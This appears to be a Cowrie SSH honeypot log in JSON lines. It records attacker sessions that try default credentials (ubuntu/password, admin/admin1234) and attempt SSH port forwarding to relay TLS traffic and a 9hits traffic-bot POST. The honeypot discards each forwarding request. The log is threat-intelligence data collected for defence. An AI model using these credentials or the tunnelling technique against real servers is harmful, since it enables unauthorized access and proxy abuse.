{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03nN\\x0e\\x9d\\xe0D\\x80N\\xebZp\\xcf\\x8bp\\xc6\\xb2$H_iZ\\x8c\\x1c\\xed\\xf6\\xf7\\xf4\\xa47\\n\\xe35 \\xc79\\xf7ic\\x88\\xb0\\x0b\\xc6\\x1e\\xdf\\xef\\xe3\\x80\\xd4\\x86\\xb0P\\x06rk\\x1f\\xd3v\\xccVl^\\xea@H~\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf0:\\xf3\\x8f/Xs\\x9dk\\xaa\\x96D\\xd8UVo?\\xfe\\x86 \\xd7\\xf5\\xdcv\\x1a>|ND]\\x92c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03nN\\x0e\\x9d\\xe0D\\x80N\\xebZp\\xcf\\x8bp\\xc6\\xb2$H_iZ\\x8c\\x1c\\xed\\xf6\\xf7\\xf4\\xa47\\n\\xe35 \\xc79\\xf7ic\\x88\\xb0\\x0b\\xc6\\x1e\\xdf\\xef\\xe3\\x80\\xd4\\x86\\xb0P\\x06rk\\x1f\\xd3v\\xccVl^\\xea@H~\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf0:\\xf3\\x8f/Xs\\x9dk\\xaa\\x96D\\xd8UVo?\\xfe\\x86 \\xd7\\xf5\\xdcv\\x1a>|ND]\\x92c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:09:58.098261Z","src_ip":"123.27.168.40","session":"43e3efeb851f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:09:58.576426Z","session":"43e3efeb851f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:09:58.824337Z","src_ip":"123.27.168.40","session":"43e3efeb851f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03 MZ;ba\\x15\\xde7\\xbd7#\\x17\\xa1\\x89\\xf4\\x044\\x1f\\x89\\x8e\\xd5\\xb5\\xdbF\\x90\\x88G\\x881\\t| \\xbf\\xb4\\xed\\x19\\xac\\xe8e!\\xd7Q\\xb3\\xe8\\x83g\\xc3\\x90\\xcd\\x9d\\x96\\t\\xb4\\x87\\x11\\xa5_\\x9d\\xdf6%<\\x13\\x9b\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xaf\\x06\\x95Y^p\\x1a\\x9c\\x14\\x11\\x1dy\\xa0R!\\x97\\x8f\\xdd\\xc5\\xcba\\x89\\xff\\x10G\\'\\x88\\xc7v{\\x92\\'\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03 MZ;ba\\x15\\xde7\\xbd7#\\x17\\xa1\\x89\\xf4\\x044\\x1f\\x89\\x8e\\xd5\\xb5\\xdbF\\x90\\x88G\\x881\\t| \\xbf\\xb4\\xed\\x19\\xac\\xe8e!\\xd7Q\\xb3\\xe8\\x83g\\xc3\\x90\\xcd\\x9d\\x96\\t\\xb4\\x87\\x11\\xa5_\\x9d\\xdf6%<\\x13\\x9b\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xaf\\x06\\x95Y^p\\x1a\\x9c\\x14\\x11\\x1dy\\xa0R!\\x97\\x8f\\xdd\\xc5\\xcba\\x89\\xff\\x10G\\'\\x88\\xc7v{\\x92\\'\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:09:58.827606Z","src_ip":"123.27.168.40","session":"43e3efeb851f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:09:59.255663Z","src_ip":"123.27.168.40","session":"43e3efeb851f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":35578,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f3f06099239","protocol":"ssh","message":"New connection: 182.93.50.90:35578 (159.203.135.109:22) [session: 7f3f06099239]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:10:03.295429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:10:03.299603Z","src_ip":"182.93.50.90","session":"7f3f06099239","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:10:03.521734Z","src_ip":"182.93.50.90","session":"7f3f06099239","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:10:04.414047Z","src_ip":"182.93.50.90","session":"7f3f06099239","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.188.210","src_port":49701,"dst_ip":"10.17.0.5","dst_port":22,"session":"d288a7b09e88","protocol":"ssh","message":"New connection: 173.208.188.210:49701 (10.17.0.5:22) [session: d288a7b09e88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:10:05.495247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:10:05.503565Z","src_ip":"173.208.188.210","session":"d288a7b09e88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:10:05.636555Z","src_ip":"182.93.50.90","session":"7f3f06099239","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:10:05.657535Z","src_ip":"173.208.188.210","session":"d288a7b09e88","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:10:07.099095Z","src_ip":"173.208.188.210","session":"d288a7b09e88","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:10:10.929783Z","session":"d288a7b09e88","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:10:10.966017Z","src_ip":"173.208.188.210","session":"d288a7b09e88","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/90.0.4430.85 Mobile/16G77 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=JDRCaXh4ViZfKkphdyg5Sw%3D%3DLbO9U9UewtDOEbXj6pRgWk0YqXpWJ6Tl6fW2iutyh%2FWRyTTpweycrmAzW5Y%2FBvKJ%2B9ujXzffX8JTbocKSozQZ1xfmhPvC2UdYljB7pCX1nWIf%2Fz0iguR8wTDuTWJhr0iigy%2F51MLPdUL9MVdN25j6OQ65iSh6uOgLwB65Y6P8yR2zY4mfgPZyVp43CV0UNsspqmaafTcV6nbljRUipnRNGclsbDKgnbmwJ5wG4qsE43tfYezCWEy774geTfBMk%2FgEWJtyz58yyuKblDZWWq3jxTeCMYlUsXf7dZ%2BFMMFM7nGuUmx0CAecTsu24jwfJgp%2FdHXYrjMJ8w851fAq9oe0sSZaSAoZxANItRrcIjF%2FdNMEhUJa48lCIo8X2NYBd%2FVfd9m3V7%2F%2FNk65leuBuehgq91Z1AVW0Cs%2FUlW6%2Bxqs2d5biPAxrDH2T3CE4vhlNlpTs6lbaxzSZddmUgB2wKq52BaPaosY9YZH8J1HOGDr5mtZ8ihx%2FgrObSEp81cbVP%2BCIwu5O1rNJ9szR%2Bl07P6XvS9jcV37e%2Bc9hQNJlvr9peV%2BqLkIJYu2fWqbETQtOFwcZFacXuOo7hKheiS0XRijpTB1KKW2%2FDzRLnLbabDgLpDme8OIVPrzfsZDo52rEoWGei13acbWpJg7eJy1ELBR03uS0U3TrxC2jODAUTwN70RM0hpGhflRnA6aKErGY2O2k3%2FQN6tgDfcxR7SY3Eo6muitzdd1ohlUpo4BKEgwL33I8%2BO4%2BF9y1lFSFFMftXxvztipUDNJaUSGqHLp1GO56e1cvQnEW66aGm%2B3%2Fl9lIpU4tIY9ERVfaMNEaId%2FAZ%2BjmrOnBe9xk10of1Kvg46hMIK0jIdxPUX06k9UlDR2onTUxTL4BI4xhmN%2Bs5RZcJ5tog2N5FmQ3SuTC5SxelRYz5V1DfnH83rXJMPeq10hrV2FPPuWIHc7IGYcUXZXuCGpr7HcZ7KTHx8LRbAoCGO9rKWXI6JxV7bqDatPT6flwnyZsAQhZssv6NtIC6In52HkSDpGb4hb5tNPg4dqm1%2BM0ATMCsiSQuG5e0S8nh0BdVLKI02UxOjNAUKmryN7GqG'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/90.0.4430.85 Mobile/16G77 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=JDRCaXh4ViZfKkphdyg5Sw%3D%3DLbO9U9UewtDOEbXj6pRgWk0YqXpWJ6Tl6fW2iutyh%2FWRyTTpweycrmAzW5Y%2FBvKJ%2B9ujXzffX8JTbocKSozQZ1xfmhPvC2UdYljB7pCX1nWIf%2Fz0iguR8wTDuTWJhr0iigy%2F51MLPdUL9MVdN25j6OQ65iSh6uOgLwB65Y6P8yR2zY4mfgPZyVp43CV0UNsspqmaafTcV6nbljRUipnRNGclsbDKgnbmwJ5wG4qsE43tfYezCWEy774geTfBMk%2FgEWJtyz58yyuKblDZWWq3jxTeCMYlUsXf7dZ%2BFMMFM7nGuUmx0CAecTsu24jwfJgp%2FdHXYrjMJ8w851fAq9oe0sSZaSAoZxANItRrcIjF%2FdNMEhUJa48lCIo8X2NYBd%2FVfd9m3V7%2F%2FNk65leuBuehgq91Z1AVW0Cs%2FUlW6%2Bxqs2d5biPAxrDH2T3CE4vhlNlpTs6lbaxzSZddmUgB2wKq52BaPaosY9YZH8J1HOGDr5mtZ8ihx%2FgrObSEp81cbVP%2BCIwu5O1rNJ9szR%2Bl07P6XvS9jcV37e%2Bc9hQNJlvr9peV%2BqLkIJYu2fWqbETQtOFwcZFacXuOo7hKheiS0XRijpTB1KKW2%2FDzRLnLbabDgLpDme8OIVPrzfsZDo52rEoWGei13acbWpJg7eJy1ELBR03uS0U3TrxC2jODAUTwN70RM0hpGhflRnA6aKErGY2O2k3%2FQN6tgDfcxR7SY3Eo6muitzdd1ohlUpo4BKEgwL33I8%2BO4%2BF9y1lFSFFMftXxvztipUDNJaUSGqHLp1GO56e1cvQnEW66aGm%2B3%2Fl9lIpU4tIY9ERVfaMNEaId%2FAZ%2BjmrOnBe9xk10of1Kvg46hMIK0jIdxPUX06k9UlDR2onTUxTL4BI4xhmN%2Bs5RZcJ5tog2N5Fm